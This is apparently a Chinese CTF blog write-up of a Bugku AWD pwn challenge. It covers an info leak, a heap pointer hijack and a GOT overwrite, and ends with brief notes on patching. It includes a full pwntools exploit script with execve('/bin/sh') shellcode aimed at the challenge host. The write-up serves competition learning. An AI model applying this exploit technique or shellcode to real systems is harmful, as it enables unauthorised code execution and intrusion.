记一次bugku awd pwn题解4月19日

  • Post author:
  • Post category:其他




记一次bugku awd pwn题解4月19日

在昨天还是前天的时候看到今天19:00有人开了一个awd房间,闲得没事就准备今天打着玩玩,结果前一个小时在玩忘记到了时间。。。。。

打开房间的时候发现时间已经过了一会了(XD

在这里插入图片描述

先连到端口看一下pwn的题目,很像个堆的题目,靶机上的libc是2.27-1.4的

在这里插入图片描述

看到保护什么都没有开的时候就猜到应该是写shellcode了。

在这里插入图片描述

这里可以内存泄露

在这里插入图片描述

这里可以通过buf来劫持heap_ptr这个指针。

在这里插入图片描述

接下来笔者还用到的一个地方就是这个释放功能

攻击思路:

  1. 因为可以内存泄露,所以可以将shellcode写入那里,将0x30给填满,这样可以泄露出这里的shellcode的地址。
  2. 利用buf劫持heap_ptr到free_got。
  3. 将free_got劫持到shellcode的地址
  4. 最后利用check_out这个函数就可以getshell了

    注意:这里的shellcode请用无\x00的,否则内存泄露不会成功!!!!!

    这里只放了一个普通的攻击脚本,批量脚本就不放出来了
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
    r = remote('192-168-1-113.pvp1022.bugku.cn', 9999)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'your choice : '

def add(size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('how long?', str(size))
    r.send(content)

def delete():
    r.sendlineafter(menu, '2')

shellcode = asm('''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')

p0 = shellcode
p0 = p0.ljust(0x30, b'a')
r.sendafter('who are u?', p0)

stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('stack_addr = ' + hex(stack_addr))
shell_addr = stack_addr - 0x50

r.sendlineafter('give me your id ~~?', '1')
heap_list = 0x602098
free_got = elf.got['free']

p1 = p64(shell_addr) + b'a' * 0x10 + p64(free_got) + p64(free_got) + p64(free_got) + p64(free_got) + p64(free_got)
r.sendafter('give me money~', p1)

delete()

r.interactive()

在这里插入图片描述

第一个解出这个题目还是很开心的(只能说手快,哈哈

emmm,这个题目的漏洞还是很好修复的,这里不说细节了

内存泄露这里可以用\x00来截断,strcpy这里的话直接限制read的的大小,可能有更好的修复方案这里就不深入了。

开溜了(XD。想要附件的话直接留言就可以了。



版权声明:本文为zzq487782568原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。